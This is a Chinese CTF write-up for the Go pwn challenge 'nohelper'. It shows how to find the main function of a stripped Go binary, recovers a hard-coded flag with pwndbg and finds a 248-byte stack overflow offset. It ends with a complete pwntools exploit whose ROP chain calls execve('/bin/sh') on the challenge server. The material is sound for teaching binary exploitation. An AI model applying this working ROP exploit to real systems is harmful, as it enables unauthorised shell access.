结论 pwn中的go程序大多数都是静态链接的,所以里面含有大量可以使用的gadget
。同时在IDA中,go的主函数一般在最下面(最后几个函数一般是用户自己定义的)。
gopwn一般是栈溢出类型,并且使用rop进行系统调用实现shell获取 。
例题 题目地址:[NSSRound#2 Able]nohelper | NSSCTF
讲题目放进IDA中后难以找到主函数入口。根据师傅 的分析,我们可以一般按照如下的流程找到主函数位置。
主函数定位 1.
找到Entry Point
.
跟进。
跳到这里
继续跟进。
跳到这里:这里是处理程序的参数和CPU信息初始化等。
继续跟进dufby3r09zexgk
。
在dufby3r09zexgk
函数中找到3个连续call
的汇编位置:找到他们下面的off_4D0030
。
跟进off_4D0030
查看。
c864jqim4vp6
:
跟进c864jqim4vp6
。
在c864jqim4vp6
找到这个代码块:其中e0ijkhbrz
就是主函数。
ok了,到这里就能开始调试了。
程序分析
程序首先让我们输入flag。那我们就需要逆向出这个flag的值。
我们在主函数e0ijkhbrz
下断点:
pwndbg> b *0x492E60 pwndbg> r
连续但不跟进后,结果gdb在这里卡住:说明是让我们进行输入,也就是输入猜测的flag,我们先随便输入。
连续单步后,发现将我们的字符串和flag{TangKeke!}
作对比,也就是说我们需要输入flag{TangKeke!}
:
ok,第一步攻击确定了,需要输入flag{TangKeke!}
。
输入试试看:输出geek!
后又会让我们输入。
在gdb中调试看看:程序会第二次卡在这:
我们尝试输入cyclic 500
生成的数据,最终定位到偏移值为248:
所以这里就是栈溢出,构造rop链,但是没有pop rdi; ret
的gadget
,所以需要mov qword ptr [rdi], rax ; ret
来实现。
exp from pwn import *from pwn import p64,u64,p32,u32,p8from LibcSearcher import *import jsoncontext.terminal = ["tmux" ,"sp" ,"-h" ] context(log_level="debug" ,os="linux" ,arch="amd64" ) io = remote("node4.anna.nssctf.cn" , 28187 ) elf=ELF("./pwn" ) sla = lambda x,y : io.sendlineafter(x,y) sa = lambda x,y : io.sendafter(x,y) sl = lambda x : io.sendline(x) sd = lambda x : io.send(x) gd = lambda : gdb.attach(io) r = lambda : io.recv() rn = lambda x : io.recv(x) rl = lambda : io.recvline() ru = lambda x : io.recvuntil(x) rud = lambda x : io.recvuntil(x, drop=True ) inter = lambda : io.interactive() uu64 = lambda data :u64(data.ljust(8 , b'\x00' )) leak = lambda tag,addr :log.info('\x1b[01;38;5;214m' + tag + " -------------> " + hex (addr) + '\x1b[0m' ) pause() flag = b"flag{TangKeke!}" offset = 248 prsi = 0x000000000041df6a prdx = 0x0000000000487a0c syscall = 0x000000000045ca49 mov_rdi = 0x000000000045c038 ''' 0x000000000045c038 : mov qword ptr [rdi], rax ; ret ''' prax = 0x000000000040c984 sla(b"first flag\n" , flag) p = b"a" *(offset) p += p64(prax) + b"/bin/sh\x00" p += p64(mov_rdi) p += p64(prax) + p64(59 ) p += p64(prsi) + p64(0 ) p += p64(prdx) + p64(0 ) p += p64(syscall) sla(b"geek!" , p) inter()